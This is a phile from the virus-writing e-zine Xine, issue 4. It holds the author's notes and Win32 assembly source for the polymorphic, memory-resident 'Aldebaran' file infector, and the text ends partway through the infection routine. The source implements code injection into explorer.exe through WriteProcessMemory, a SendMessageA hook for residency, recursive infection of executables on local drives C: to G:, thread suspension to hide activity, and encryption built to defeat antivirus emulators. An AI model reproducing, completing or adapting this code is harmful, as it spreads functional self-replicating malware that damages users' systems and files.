
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 203 |
                                        \-----------------------------/


;
;   The Aldebaran virus - written by T00FiC - poly from Bozo
;
;                                              tanks goes to Ska and Zombie
;
;
; This virus wasn't previewved for xine4, but as old dirty bastard I'm, I 
; tryed to finish it a bit in hurry. I tested and retested it and it seems to
; work. It have a small lack of optimization 
; 
; Caracteristic: Win32 Multithread PerProcess/Memory Resident Polymorphic 
; size-stealth virus (with graphical payload :] )
; size about +10 Ko... (I tought to add some mp3 to my virus to beat vecna 
; viruses size :)
;
; Multithread: In order to hide activity to the user, the virus recreate
; the original task. And when infecting and when the delicate part of writing
; datas to the host come. It stop the other thread, so the user is not able
; to close the process until the infection was securely done. The virus also
; delay a few seconds before infecting file, to make himself hidden and don't
; eat all the machines ressources...
;
; Residency: This is aslo an important point of this virus. On win32 machines,
; the virus start, infect 5 file in current directory and 5 file on windows
; directory and then stop. But on Windows9x specific machine, the virus is 
; able to use specific apis used for patching/debugging other process. So
; the virus look for explorer.exe loaded in memory. Map the file, detect api
; export list and a viable location to put a mini stub loader. So, when 
; explorer run the SendMessageA api (it does it all the time EXCEPT under dos 
; boxes), the stub allocate memory and create a thread. This thread is owned
; by Explorer.exe. The virus then read memory location and drop over the
; explorer memory the virus body. Then the created stub run and init the 
; memory resident routine. It bascially scan recursively each directory
; on fixed disk from C to G (It tryed also to infect my network harddrive :)
;
; Polymorphism: Polymorphism was done by Bozo, it was the main idea and 
; original idea of this virus: Create a small (he was small) virus to use
; the bozo poly engine. Now the Polymorphism is used as end user encryption.
; It's I think the strongest and much hard to detect encryption loop this 
; virus have. The poly random is based on the original host compression rate
; (I will explain later)
;
; Size stealth: This virus don't use as some poeple call it the 29A
; technique (I find saying that's my technique is dork, so I could say ace
; archive infection is the IKX technique, that way of finding kernel is IKX
; technique blablabla). The virus look if entrypoint point to code (to avoid
; binray compressed) then he run over there. Look if there's enough 
; place in the section, if the distance from the section and the entrypoint
; is big enough and then calculate where/how much/what it will have to 
; compress. Compression use a basic huffman compression done in about 600
; byte. So it have to decompress at running, and this take a lot of time and
; code are saying saying ? Noooo, it just take 100 byte and 84 milisecond on
; my old ready-to-infect P133 computer to decompress. The virus have to 
; allocate memory, so to this 100 is added 300 or 400 byte for seh handling,
; kernel locator, apis finding, priority process manager.

; Note: The virus is encrypted in 8 bit without saving the key but it will
; have to test each keys, to annoy emulator, the virus allocate huge memory
; to drop decompressed datas and run over there his decryption routine. So I
; wonder how they will take this virus... Okay, 8 bit suck, avers have just
; to test every 8 bit possibility, no that's wrong, they have to test ALL
; the algortihm because the key is sliding and changing each loop, (I put
; the needed datas to be decrypted on the end of decryption buffer) so they
; have to decrypt/reencrypt each time the data. making about 10000 loops on
; each keys, good luck guys....
;
; Second note: look how is stored original enrtypoint: 1st, it's encrypted 
; without saving the key, secondly, it's compressed with virus in the original
; ready to be compressed buffer. Third, it's encrypted using the complex
; polymorphic engine of Bozo.I like to read that 3 sentences again and again...
;
; Payload: I wish you will appreciate it
; 
; There's also some thing to say on this virus. It's a bit based on axelle and
; voodoo technologies for base. The main infection concept is based on 
; old ariannes viruses family using old fashioned write and close apis...
; 
; There's so much to say over this virus, stop blabla, and look code...
;

.386
.model flat,stdcall

extrn	ExitProcess:Proc
extrn	Sleep:Proc

.data

dw      ?

.code

Host:   xor     ebp,ebp
        jmp     Init0				; fake virus initialization

pseudohost:

	push	10000				; you should put it
	call	Sleep				; let virus time to infect

	call	ExitProcess			; boooooooooooom -(

start:
		call	getdelta
getdelta:	pop	ebp
		sub	ebp,offset getdelta	; now we have delta

		push	ecx

RDAE:		xor	edx,edx

RDAE1:
                mov     ecx,pseudofin-StartCrypt
                lea     esi,[ebp+StartCrypt]		; pseudo decryptor
		push	edx
RDAE2:

		sub	byte ptr [esi],dl
		sub	dl,99
		xor	byte ptr [esi],dl
		xor	dl,25		

		inc	esi

		loop	RDAE2				; loop my son, loop...

		dec	esi

		cmp	dword ptr [esi-3],'nara'		; check for
		jne	RDAE4					; Aldebaran

                cmp     dword ptr [ebp+StartCrypt],'xkI0'       ; check for
                je     	RDAE5                                   ; 1st dword
RDAE4:
                mov     ecx,pseudofin-StartCrypt
RDAE3:
		xor	dl,25					; reencrypt it
		xor	byte ptr [esi],dl			; if it was 
		add	dl,99					; wrong
		add	byte ptr [esi],dl

		dec	esi
		loop	RDAE3

		pop	edx
		inc	edx

		jmp	RDAE1
StartCrypt:

		db	'0Ikx'

Restore:	dd	0
Return:		dd	offset pseudohost
backdata:	dd	0

RDAE5:

Init:
		pop	edx				; we got it
		pop	ecx				; now restore host

		lea     esi,[ebp+pseudofin]
		mov     edi,dword ptr [ebp+Restore]
		
		repz    movsb 				; blablabla
Init0:
		mov	dword ptr [ebp+LoadLibraryA],0

		lea	edx,[ebp+returnapis]		; init apis

		mov	ecx,255
		mov	edi,edx
		xor	eax,eax
		repz	stosb				; clear the api return
							; zone, we want fresh
		lea	eax,[ebp+getapis]		; datas
		call	initapi

		mov	eax,dword ptr [ebp+Return]
		mov	dword ptr [ebp+ReturnTemp],eax		; 
							
		mov	dword ptr [ebp+LoadLibraryA],0		; force Load
						; library again later...
		mov	eax,85000
		call	alloc				; for compression

		mov	dword ptr [ebp+databuffer],eax

		mov	eax,85000
		call	alloc				; double buffer, I 
							; like them :P
		mov	dword ptr [ebp+compressbuffer],eax

		lea	eax,dword ptr [ebp+File_Data]
		push	eax
		call	dword ptr [ebp+GetSystemTime]	; check for payload 
							; activation ...
		cmp	word ptr [ebp+File_Data+2],8
		jne	nopayload

		cmp	word ptr [ebp+File_Data+6],5	; each 5 august 
		jne	nopayload

		call	payload

nopayload:

		push	eax

                push    esp
                push    0
                push    0
                push    dword ptr [ebp+ReturnTemp]
                push    0
                push    0
                call    dword ptr [ebp+CreateThread]	; create the other
							; original thread
		mov	dword ptr [ebp+ForeignThread],eax

		pop	eax

                call    Residency1			; install memory
							; 1st time

		mov	byte ptr [ebp+checkflag],0

                push    edx
                push    esp
                push    0
                push    0
                lea     edx,[ebp+Goresidency2]
                push    edx
                push    0
                push    0
                call    dword ptr [ebp+CreateThread]	; create forcing 2nd
							; time
                pop     eax

                cmp     byte ptr [ebp+reserror],5	; go to end
                je      skipinfect

mainbody:

mov	byte ptr [ebp+treeflag],1
mov	byte ptr [ebp+stopflag],1

mov	byte ptr [ebp+maxinfect],6
mov	byte ptr [ebp+countinfect],0
mov	word ptr [ebp+waitscan],250			; init infection
							; procedure type
							; a bit slow to don't
							; perturb the process
Infectdirs:

;
; This routine is the unique residency on winNT
;

mov	byte ptr [ebp+treeflag],1

lea	eax,[ebp+originaldir]
push	eax
push	512
call	dword ptr [ebp+GetCurrentDirectoryA]		; kill the directory

call	Killdir

lea	eax,[ebp+originaldir]				; this is dangerous
push	eax						; I wont like running
push	512						; this routine
call	dword ptr [ebp+GetWindowsDirectoryA]		; kill windows directory

call	Killdir

fini:

skipinfect:

                mov     eax,dword ptr [ebp+databuffer]
                call    Delloc

                mov     eax,dword ptr [ebp+compressbuffer]
                call    Delloc
		
		cmp	byte ptr [ebp+checkflag],1

                push    0

                push    4000h                           ; mem decommit
                push    0                               ; size
                lea     eax,[ebp+start]
                push    eax

                push    dword ptr [ebp+ExitThread]	; the death row....
                jmp     dword ptr [ebp+VirtualFree]     ; in fact,
	                                                ; it's virtual free
Goresidency2:

call	getdel

push	2000
call	dword ptr [ebp+Sleep0]			; wait 2 sec

call   Residency2                               ; then install memory


mov	byte ptr [ebp+checkflag],1

push	0
call	dword ptr [ebp+ExitThread]		; boom biddy byebye

residencystart:

		call	getdel			; this is main thread code
						; when we are TSR
		lea	edx,[ebp+returnapis]

		mov	ecx,255
		mov	edi,edx
		xor	eax,eax
		repz	stosb			; this is done

		lea	eax,[ebp+getapis]
		call	initapi			; we got it

		mov	byte ptr [ebp+maxinfect],1
		mov	byte ptr [ebp+countinfect],0
		mov	word ptr [ebp+waitscan],25	; set maximum free

		mov	byte ptr [ebp+stopflag],0	
		mov	byte ptr [ebp+treeflag],0

		mov	eax,85000			; eh, realloc for vir.
		call	alloc

		mov	dword ptr [ebp+databuffer],eax

		mov	eax,85000
		call	alloc				; realloc
	
		mov	dword ptr [ebp+compressbuffer],eax

		mov	byte ptr [ebp+treeflag],0

		mov	dword ptr [ebp+originaldir],'\:C'	;infect all C:
		
killthatdir:
	
		call	Killdir					; hohoho

includeme:

		inc	byte ptr [ebp+originaldir]
		mov	byte ptr [ebp+originaldir+3],0
	
		cmp	byte ptr [ebp+originaldir],'G'
		ja	finishthread				; infect until
								; G:
		lea	eax,dword ptr [ebp+originaldir]
		push	eax
		call	dword ptr [ebp+GetDriveTypeA]		; Get the 
								; drive type
		cmp	eax,3
		jne	includeme				; don't touch
								; cdroms or such
		jmp	killthatdir

finishthread:	jmp	finishthread			; endless jump

startapis:

StubLoader:
		call	getdel2
getdel2:	pop	ebp
		cld
		sub	ebp,offset getdel2

                lea     eax,[ebp+getapis1]
                lea     edx,[ebp+returnapi1]			; mini stub 
								; loader
		call	initapi					; init apis

		call	dword ptr [ebp+GetCurrentProcess0]

		push	eax

		push	100h
		push	eax

		push	eax
		call	dword ptr [ebp+GetPriorityClass0]
		mov	dword ptr [ebp+originalpriority],eax

		call	dword ptr [ebp+SetPriorityClass0]	; set priority

		mov	eax,dword ptr [ebp+finloader+1]
                push    eax					; get memory
								; from small
                push    40h					; compressed
                push    00100000h or 1000h or 2000h		; header...
                add     eax,0111b
                and     eax,-111b
                push    eax
                push    0
                call    dword ptr [ebp+GlobalAlloc0]		; allocate 
								; memory
		mov	edi,eax
		
		lea	esi,[ebp+finloader]			; okay, do it
                push    edi
		push	ebp

UnDkCMP:

cmp     byte ptr [esi],'h'                              ; check if okay
jne	thenbad

push	dword ptr [esi+1]

movzx   ecx,word ptr [esi+5]                            ; 
xor     edx,edx                                         ; donc annoy edx
mov     eax,4                                           ; so eax = ecx * 4
mul     ecx                                             ; we need to keep
                                                        ; ecx
lea     ebp,[esi+7]                                     ; setting correspond.
lea     esi,[esi+eax+9]                                 ; setting where data
                                                        ; begin
detectall:

pop	ecx
xor 	edx,edx				; edx = current byte value

starloop:

xor	ebx,ebx
xor     dh,dh                                          ; start, nullify these

highloop:

push	ecx
push 	ebp

highloop2:

mov     ecx,7                                           ; number of time
                                                        ; looping
wefoundit:

cmp	dl,8
jb      dontresetcounter                                ; end of ascii
                                                        ;
inc     esi                                             ; get next
xor	dl,dl

dontresetcounter:

sub     cl,dl                                           ; then we get 

lodsb
dec     esi                                             ; here the actual

ror     al,cl                                           ; value of the bits
and     al,1                                            ; and concatenate it
rol     bx,1                                            ; with a bit buffer
xor     ah,ah                                           ; placed in a regist.
add	bx,ax
inc	edx
inc	dh

xor     ecx,ecx                                         ; reset ecx

thengetnext:

cmp	dh,byte ptr [ebp+1]
jb 	highloop2					; don't check all the
							; three
cmp     dh,byte ptr [ebp+1]                             ; is this size equal?
jne	w0comehere

cmp     bx,word ptr [ebp+2]                             ; is this byte equal?
je	wefoundit0

w0comehere:

add     ebp,4                                           ; if not scan next
inc	ecx

cmp     word ptr [ebp],-1                               ; if end of corresp.
jne     thengetnext                                     ; then it's not 

returnme:

pop     ebp                                             ; reset ebp to
push    ebp                                             ; start of correspond.

jmp     highloop2                                       ; complete ascii...

wefoundit0:

mov     al,byte ptr [ebp]                               ; else we got it!
                                                        ; and then change it
                                                        ; to ascii
pop     ebp                                             ; restore data for
pop     ecx                                             ; next loop

stosb                                                   ; push byte
loop    starloop                                ; decompression finished !

thenbad:

pop	ebp

pop     eax
pop	ecx

sub     ecx,pseudofin-start			; setting value for

pop	edx					; returning

push	eax
push	ecx

push	dword ptr [ebp+originalpriority]
push	edx
call	dword ptr [ebp+SetPriorityClass0]	; refix priorities

pop	ecx
pop	eax
jmp	eax					; run virus now

;
; This is a multiDLL reactor, it comes from the version 2 of the reactor in 
; arianne, hope you enjoy the code! This is version 3b coz it's specialy
; designed for DrGreenThumb 2.  
;
; Version 3b: Thatsokaynow 
; Version 3: Multiple DLL scanning
;	     PseudoImportZone(tm) created
;            Minor changes, large instructions revised and redefined structure
; Version 2: Uses ZeroCRCs
;	     Only one loop used
;	     NT/95/98 compatible
;	     some bugs fixed, structure change, one loop, time gain
; Version 1: First prototype - Pretty small
;

initapi:

	mov	esi,eax					; point to the mini 
	push	esi					; import

dothescanner:

	inc	esi
	cmp	byte ptr [esi],-1			; check if we reached
	jne 	dothescanner				; end of mini import

	inc	esi
	sub	edx,esi
	mov	dword ptr [ebp+Thisoffset],edx		; so this is for fixing
	sub	esi,4					; a problem of using
	mov	dword ptr [ebp+Thisoffset2],esi		; too much register
	pop	esi					; for finding apis
							; I should optimizate
dothatnow:						; 	... a day...

	cmp 	byte ptr [esi],0FFh			; we reached end ok...
	jne	letscontinue
	ret

letscontinue:
	mov 	ebx,esi

scannext:

	inc	esi
	cmp 	byte ptr [esi-1],'.'			; look for . separating
	jne	scannext				; library names

	push	esi

	push	dword ptr [esi]				; avoid
	push	esi					; overwriting
	mov	dword ptr [esi],'lld'			; so set dll name
	push	ebx

	cmp	byte ptr [ebp+stubtest],1		; this is for avoiding
	je	gotherenow				; 1st loop

	cmp	byte ptr [ebp+LoadLibraryA],0		; so we get this api
	jne	dontinitit

gotherenow:

GetHardKernel:					

pushad
mov	dword ptr [ebp+stackrejust],esp		; we have to save stack
call    SaveSEH					; coz seh crash it

lea     eax,[ebp+kntestnext1]			; we fix seh to next
call    SetSEH					; scan procedure

cmp	word ptr cs:[07fe00000h],'ZM'		; check for win2K kernel but
jne     kntestnext1				; does it will works anyway ???

mov 	eax,07fe00000h
jmp	wefound1				; that's okay

stackrejust:	dd	0

kntestnext1:

lea     eax,[ebp+kntestnext2]			; set stack to next kernel
call    SetSEH

cmp	word ptr cs:[07ff00000h],'ZM'		; this should be Nt Kernel
jne 	kntestnext2

mov	eax,07ff00000h
jmp	wefound1

kntestnext2:

lea     eax,[ebp+kntestnext4]			; set SEH to crash procedure
call    SetSEH					; okay, it's lame coding...

cmp	word ptr cs:[0BFF70000h],'ZM'		; check Win9x kernel
jne	kntestnext4				; this 

mov 	eax,0bff70000h
jmp	wefound1

kntestnext4:

call    RestoreSEH

mov     word ptr cs:[0BFF70000h],500		; this program made an 
						; exception blablabla
wefound1:

call    RestoreSEH				; now we restore the old  SEH
mov	esp,dword ptr [ebp+stackrejust]		; reajust stack
mov	dword ptr [esp+20h-4],eax		; save eax
popad						; and reset stack
pop	ebx					; we got in eax the kernel
jmp	wefound					; location

dontinitit:

	call	dword ptr [ebp+LoadLibraryA]		; get apis adress

wefound:

	cmp	eax,-1					; error, erm bye...
	jne	itsokay1

	pop	esi
	ret

itsokay1:

	mov	edi,eax
	pop	esi
	pop	dword ptr [esi]

        mov     ebx,dword ptr [edi+3Ch]
        add     ebx,edi                         ; ebx point to the PE header
                                                ; In fact it's allways PE
 						; I skiped the MZ and PE
						; signature check coz if it's
						; not, Kernel can't be loaded :]
        mov     esi,dword ptr [ebx+120]         ; esi point to the Export
        lea     esi,[esi+edi]                   ; zone

        mov     ecx,dword ptr [esi+24]          ; ecx = number of export
        mov     ebx,dword ptr [esi+32]          ; ebx point to the name offset
        add     ebx,edi                         ; table
	push	ebp
;	mov	ebp,offset startapis
	db	0bdh
Thisoffset2:
	dd	0h

Scanstring:
	

        mov     edx,dword ptr [ebx]             ; edi point to the 1st
        add     edx,edi                         ; name

loophere:

	pushad
	mov	eax,dword ptr [esi+24]
	sub	eax,ecx
	shl	eax,2				; we have to search apis
	lea	edx,[ebx+eax]			; by ordinal/names
	mov	edx,[edx]			; coz NT have some disachronism
	add	edx,edi				; name in table is not the 
						; same that follow each other
	push	ecx
        xor     eax,eax
        xor     ecx,ecx

        mov     al,byte ptr [edx]

getnamecrc:

        mov     cl,byte ptr [edx]		; this is really small crc
        test    ecx,ecx				; untill now, I never had 
        jz      test_crcs			; confusion between them
        rol     eax,3				; a just small nice algorithm
        xor     eax,ecx
        inc     edx
        jmp     getnamecrc			; enjoy guys...

test_crcs:

	pop	ecx
	inc	edx

testnext:

	add	ebp,4
	cmp	byte ptr [ebp],-1		; we reached end of list ?
	je	suither				; boom biddy byebye

        cmp     dword ptr [ebp],eax
	jne	testnext			; if crc in list = calculated
						; no, then byebye
getrva:	

        mov     ebx,dword ptr [esi+24]		; we get apis number
	sub	ebx,ecx				; sub number of loop we done
	shl	ebx,1				; got in ebx the apis ordin.
	
        add     ebx,dword ptr [esi+36]          ; table RVA
        add     ebx,edi                         ; Add Rva
	xor	eax,eax				; seems to be okie!
	mov	ax,word ptr [ebx]		; 

	shl	eax,2				; damn, I forgot the meaning
						; of all that
	add	eax,dword ptr [esi+28]		; shame on me...
	add	eax,edi

	mov 	eax,dword ptr [eax]
	add	eax,edi
	dec 	ebx				; we saved it now

;	add	ebp,offset startlist-startapis
db	081h
db 	0c5h
Thisoffset:
	dd	0h

	mov	dword ptr [ebp],eax

suither:
	
	popad
	loop	loophere		; loop until all apis are scanned
	pop	ebp
	pop	esi

	jmp	dothatnow		; return

SaveSEH:

push    eax
mov 	eax,dword ptr fs:[0]
mov     dword ptr [ebp+backup],eax			; save last SEH
pop     eax
ret

RestoreSEH:

push    eax
mov     eax,dword ptr [ebp+backup]
mov     dword ptr fs:[0],eax				; restore last SEH
pop     eax
ret

SetSEH:

push    eax

mov     dword ptr [ebp+TemporarySEH+8],eax
lea	eax,[ebp+BackNow]
mov	dword ptr [ebp+TemporarySEH+4],eax	
lea     eax,[ebp+TemporarySEH]
mov     dword ptr fs:[0],eax				; now we set the SEH

pop     eax

ret

BackNow:					; here we get

call	getpseudodelta
getpseudodelta:
pop	ebp
sub	ebp,offset getpseudodelta		; take again the delta,
						; grrr, f- ms programmers
push	dword ptr [ebp+TemporarySEH+8]		; and then back now!
ret

backup:	dd	0

TemporarySEH:					; our SEH...

dd      0
dd      0
dd	0

originalpriority:	dd	0

getapis1:

db 'KERNEL32.'
db -1
dd 0ab16d5ceh
dd 0cb8d7a80h
dd 046863856h
dd 04690b856h
db -1

stubtest:		db	0

returnapi1:      

GlobalAlloc0:           dd      0
GetCurrentProcess0:	dd	0
GetPriorityClass0:	dd	0
SetPriorityClass0:	dd	0

FinStub:

finloader:

;
; File Action API interface     Note, I could remplace that by big flat
;                               true win32 file apis but I don't want to...
;

Open_file:

push 2				         ; iReadWrite = OF_READWRITE

lea eax,[ebp+workingdir]               ; point to the name datas
push eax

Call dword ptr [ebp+Lopen]                ; open the file

mov dword ptr [ebp+FileHandle],eax
inc eax
ret

Close_file:

push dword ptr [ebp+FileHandle]  	; close the file
call dword ptr [ebp+Lclose]
ret

Write_file:
push ecx
push edx

push dword ptr [ebp+FileHandle]      	; Write in the file
call dword ptr [ebp+Lwrite]
ret

Read_file:
push ecx
push edx

push dword ptr [ebp+FileHandle]    	; Read in the file
call dword ptr [ebp+Lread]
ret

Seek_file:

push 0
push edx
push dword ptr [ebp+FileHandle]    	; Seek in the file
call dword ptr [ebp+Llseek]

ret

alloc:
MemAlloc:						; Reviewved for nties compatib.

push	40h
push	00100000h or 1000h or 2000h
add	eax,0111b
and	eax,-111b
push	eax
push	0
call	dword ptr [ebp+VirtualAlloc]			; just allocating...

cmp	eax,0
jne	Allocitsokay

inc eax
inc eax
add eax,-1

Allocitsokay:
ret

Delloc:

push	4000h						; mem decommit
push    0                                               ; size
push	eax

call 	dword ptr [ebp+VirtualFree]
ret

InitCritical:

pushad

cmp     byte ptr [ebp+stopflag],1
je      skipinf

push    dword ptr [ebp+ForeignThread]
call    dword ptr [ebp+SuspendThread]			; okay stop task 
							; bastard....
skipinf:

popad

ret

LeaveCritical:

pushad

cmp     byte ptr [ebp+stopflag],1		; depend on resident or not
je      skipinf


push    dword ptr [ebp+ForeignThread]
call    dword ptr [ebp+ResumeThread]		; and then recreate it


popad

ret

stopflag:       db      0

Residency1:

pushad

mov	byte ptr [ebp+reserror],0			; byebye

mov	eax,dword ptr [ebp+VirtualAlloc]
mov	dword ptr [ebp+VirtualAllocT],eax		; preset these apis

mov	eax,dword ptr [ebp+CreateThread]
mov	dword ptr [ebp+CreateThreadT],eax		; for remote residency

cmp	dword ptr [ebp+CreateToolhelp32Snapshot],0	; set NT compatibilty
je	fini001

push	0
push	0Fh
call	dword ptr [ebp+CreateToolhelp32Snapshot]	;exist only under win9x

push	eax

lea	edx,dword ptr [ebp+datadummy]			; how much datas in

mov	dword ptr [edx],1024				; buffer

push	edx
push	eax
call	dword ptr [ebp+Process32First]			; get 1st process in
							; mem infos
testnext5:

lea	edi,[ebp+datadummy+24h]

mov	ecx,255

push	ecx

;
; This could be applied to everything, and you could patch every programs
;

checkthat: 	cmp 	dword ptr [ecx+edi],'LPXE'	; check explorer.exe ?
	   	je	wefoundit5
	   	loop	checkthat

           	pop	ecx
		push	ecx

checkthat2: 	cmp 	dword ptr [ecx+edi],'lpxe'	; explorer
		je	wefoundit5
		loop	checkthat2

		pop	ecx
backhere:

pop	eax
push	eax

lea	edx,dword ptr [ebp+datadummy]

;mov	dword ptr [edx],1024			; ms programmers are clown...
push	edx
push	eax
call	dword ptr [ebp+Process32Next]		; get next process in mem

cmp 	eax,0
jne	testnext5				; no explorer in memory ???
						; hahahaha
fini0:

pop	eax

fini001:

movzx	eax,byte ptr [ebp+reserror]		; come back!
mov 	dword ptr [esp+20h-4],eax

popad
ret						; Exit code 0

wefoundit5:

pop	eax

mov	eax,dword ptr [ebp+datadummy+8]
push	eax					; what we want
push	0
push	01f0fffh				; all right value, Tanx to peon
call	dword ptr [ebp+OpenProcess]			

mov	dword ptr [ebp+processid],eax		; we got the process handle

push	0
push	edi

call	dword ptr [ebp+Lopen]			; going to open the explorer

mov	dword ptr [ebp+FileHandle],eax		; and going to map it

push	eax

push	0
push	eax
call	dword ptr [ebp+GetFileSize]

pop	edx

push	eax

push	0
push	eax
push	0
push	02h
push	0
push	edx

call	dword ptr [ebp+CreateFileMappingA]	; this long procedure is boring

mov	dword ptr [ebp+MapHandle],eax

push	0
push	0
push	4h
push	eax
call	dword ptr [ebp+MapViewOfFile]

mov	dword ptr [ebp+MapHandle1],eax		; okay now it's ampped

mov	esi,eax

mov	edi,dword ptr [esi+03ch]		; get PE blablabla
add	edi,esi

mov     eax,dword ptr [edi+0F8h+40+8]
add     eax,dword ptr [edi+0F8h+40+12]		; get look if there's dead rooms
						; in PE memory
cmp     eax,dword ptr [edi+0f8h+40+40+12]	; there should be , memory
jae     skiploading				; is rounded by minimum 4K of 
   						; mem on intel compus
add     eax,dword ptr [edi+52]
mov	dword ptr [ebp+Ourmemory],eax		; we got memomry

mov	eax,dword ptr [edi+128]
call	RVA2Offset				; now we scan the import

lea	edx,[eax-20]

scannexta:

add	edx,20
mov	eax,dword ptr [edx+12]

cmp	eax,0
je	skiploading

call	RVA2Offset					; we get adress name

cmp	dword ptr [eax],'RESU'				; check user32.dll
je	wegotitit

cmp	dword ptr [eax],'resu'
jne	scannexta

wegotitit:

mov	eax,dword ptr [edx]				; and then we look
call	RVA2Offset					; for api import list

mov	ebx,eax
xor	ecx,ecx
sub	ecx,4						; and make a loop to do

boucleme:

add	ecx,4
mov	eax,dword ptr [ebx+ecx]

cmp	eax,0
je	skiploading

call	RVA2Offset

cmp	dword ptr [eax+2],'dneS'			; 
jne	boucleme

cmp	dword ptr [eax+2+4],'sseM'
jne	boucleme

cmp	dword ptr [eax+2+8],'Aega'		; looking For SendMessageA
jne	boucleme

mov     dword ptr [ebp+checktest],0			; intenal flag

add	ecx,dword ptr [edx+16]				; we got the rva of
							; the api!!!
add	ecx,dword ptr [edi+52]

mov     dword ptr [ebp+PseudoData+12],ecx	; okay, then we save it

lea	edx,dword ptr [ebp+PseudoData]	
push	edx					; NumbWrite
push	4
lea	edx,dword ptr [ebp+Pseudoreturn]
push	edx					; Buffer
push	ecx					; process base
mov	eax,dword ptr [ebp+processid]
push	eax					; processID
call	dword ptr [ebp+ReadProcessMemory]	; check for residency

inc	byte ptr [ebp+reserror]

cmp	dword ptr [ebp+Pseudoreturn],80000000h	
jb      skiploading2				; we are resident!

lea	edx,dword ptr [ebp+PseudoData]	
push	edx					; NumbWrite
push	finannoy-AnnoyingCode
lea	edx,dword ptr [ebp+AnnoyingCode]
push	edx					; Buffer
push	dword ptr [ebp+Ourmemory]		; process base
mov	eax,dword ptr [ebp+processid]
push	eax					; processID
call	dword ptr [ebp+WriteProcessMemory]	; save our gotta resident code

lea	edx,dword ptr [ebp+PseudoData]	
push	edx					; NumbWrite
push	4
lea	edx,dword ptr [ebp+Ourmemory]
push	edx					; Buffer
push	dword ptr [ebp+PseudoData+12]		; process base

mov	eax,dword ptr [ebp+processid]
push	eax					; processID
call	dword ptr [ebp+WriteProcessMemory]	; WE ARE GOING TSR -)

;
; running the remote thread ,but how
;

skiploading:

        call    Close_file			; that's lame, I didn't unmaped
	jmp	fini0				; the file, but who care ?
	
skiploading2:

	call	Residency2			; we where loaded in explorer
	jmp	skiploading			; mem, so do it

AnnoyingCode:

fakejump:

	db 	68h
Pseudoreturn:

	dd	0h			; push apis offset

retback:

	nop

	pushad

        call    getdel				; get delta pointer

	mov	byte ptr [ebp+retback],0C3h	; lock api access

	push	40h
	push 	00100000h or 1000h or 2000h
	push	(((fin-start)+0111b) and 11111111111111111111111111111000b)
	push	0
        call    dword ptr [ebp+VirtualAllocT]	; allocate memory

	mov	dword ptr [ebp+checktest],eax
	mov	dword ptr [ebp+checktest2],eax
	mov	byte ptr [eax],0C3h

	push	eax
	push	esp
	push	0
	push	0
        lea     eax,[ebp+Loadingresult]
	push	eax
	push	0
	push	0
	call	dword ptr [ebp+CreateThreadT]	; creating our task
	pop	eax

	popad

	ret

getdel:
	call	GetMeThere

GetMeThere:
	pop	ebp
	sub	ebp,offset GetMeThere
        ret

Loadingresult:  call    getdel		; this task wait for memory transerf
					; work like a benny's fiber but wait
                mov     eax,dword ptr [ebp+checktest2]		; for both
								; part to start
testme:         cmp     dword ptr [ebp+checktest],'yakO'	; Okay
                jne     testme
		
                add     eax,residencystart-start
                jmp     eax				; here we go

checktest:	dd	0				; memory allocated ?
checktest2:	dd	0				; virus transfered ?
							; -> Thread begin
CreateThreadT:	dd 0					; yeeeeeeeeepeee
VirtualAllocT:	dd 0

finannoy:


RVA2Offset:						; this routine
							; is supposed to 
pushad							; transfer RVA to
							; an offset in memory 
lea	edx,[edi+0F8h]					; map, usefull to play
sub	edx,40						; with loaded process
							; with only disk 
scannext99:						; image

add	edx,40						; it's a bit based on
mov	ebx,dword ptr [edx+12]				; axelle virus
mov	ecx,ebx
add	ecx,dword  ptr [edx+16]

cmp	ebx,0
je	fino

cmp	eax,ebx
jb	scannext99

cmp	eax,ecx
ja	scannext99

sub	eax,ebx
add	eax,dword ptr  [edx+20]
add	eax,esi

mov	dword ptr [esp+20h-4],eax
popad
ret

fino:

mov	dword ptr [esp+20h-4],0
popad
ret

Residency2:					; I'm sad like hell today
						; I feel bad like I never felt
pushad						; bad....

cmp     byte ptr [ebp+reserror],0
je      finishcheckres

cmp     byte ptr [ebp+reserror],5
je      finishcheckres

call    InitCritical                            ; we don't want
                                                ; to be perturbed
                                                ; during the operation
lea     edx,dword ptr [ebp+PseudoData] 
push    edx                                     ; NumbWrite
push    4
lea     edx,dword ptr [ebp+Pseudoreturn]
push    edx                                     ; Buffer

mov     ecx,dword ptr [ebp+Ourmemory]
add     ecx,checktest-AnnoyingCode

push    ecx                                     ; process base

mov     eax,dword ptr [ebp+processid]
push    eax                                     ; processID
call    dword ptr [ebp+ReadProcessMemory]

cmp     dword ptr [ebp+Pseudoreturn],0
je      finishcheckresb

cmp	dword ptr [ebp+Pseudoreturn],'yakO'
je	finishcheckresb

lea     edx,dword ptr [ebp+PseudoData] 
push    edx                                     ; NumbWrite
push    pseudofin-start
lea     edx,dword ptr [ebp+start]
push    edx                                     ; Buffer
push    dword ptr [ebp+Pseudoreturn]
mov     eax,dword ptr [ebp+processid]
push    eax                                     ; processID
call    dword ptr [ebp+WriteProcessMemory]

lea     edx,dword ptr [ebp+PseudoData] 
push    edx                                     ; NumbWrite
push    4
lea     edx,dword ptr [ebp+moins1]
push    edx                                     ; Buffer

mov     ecx,dword ptr [ebp+Ourmemory]
add     ecx,checktest-AnnoyingCode

push	ecx
mov     eax,dword ptr [ebp+processid]
push    eax                                     ; processID
call    dword ptr [ebp+WriteProcessMemory]

finishcheckresb:

call 	LeaveCritical

mov	byte ptr [ebp+reserror],5		; okay all done ;)

finishcheckres:

popad
ret

moins1:	db	'Okay'

;
; That's funny dir killer, I should rewrite Voodoo with it, it's much powerfull
; and smaller
;

Killdir:

mov	dword ptr [ebp+numbscan],0			; mmm for speed 
							; restriction
lea	eax,[ebp+originaldir]
call	makescandir					; we put *.*

lea	eax,[ebp+filedata]
push	eax
lea	eax,[ebp+originaldir]
push	eax
call	dword ptr [ebp+FindFirstFileA]			; look 1st File

cmp	eax,0
je	finishattack					; error (that shouldn't
							; arrive) ? close...
push	eax

findnextfileA:

cmp	byte ptr [ebp+filedata+2Ch],'.'			; check if . or ..
je	willbeback					; go away

inc	byte ptr [ebp+numbscan]				; then go away

cmp	byte ptr [ebp+numbscan],5			; each 5 file scanned
jb	donpanic					; then wait a bit
							; make scan invisble
movzx	eax,word ptr [ebp+waitscan]			; so wait waitscan 
push	eax						; value (depends on
call	dword ptr [ebp+Sleep0]				; residency)

mov	byte ptr [ebp+numbscan],0

donpanic:

mov	eax,dword ptr [ebp+filedata]			; check if directory
and	eax,16
cmp	eax,16
jne	attackfile					; yeah? Okay, fine
							; attack this sub
call	KillSubDir					; bastard!!!
jmp	willbeback

attackfile:

call    checkext                                ; check if this is exe file 

cmp	eax,'exe'				; is this an exe file
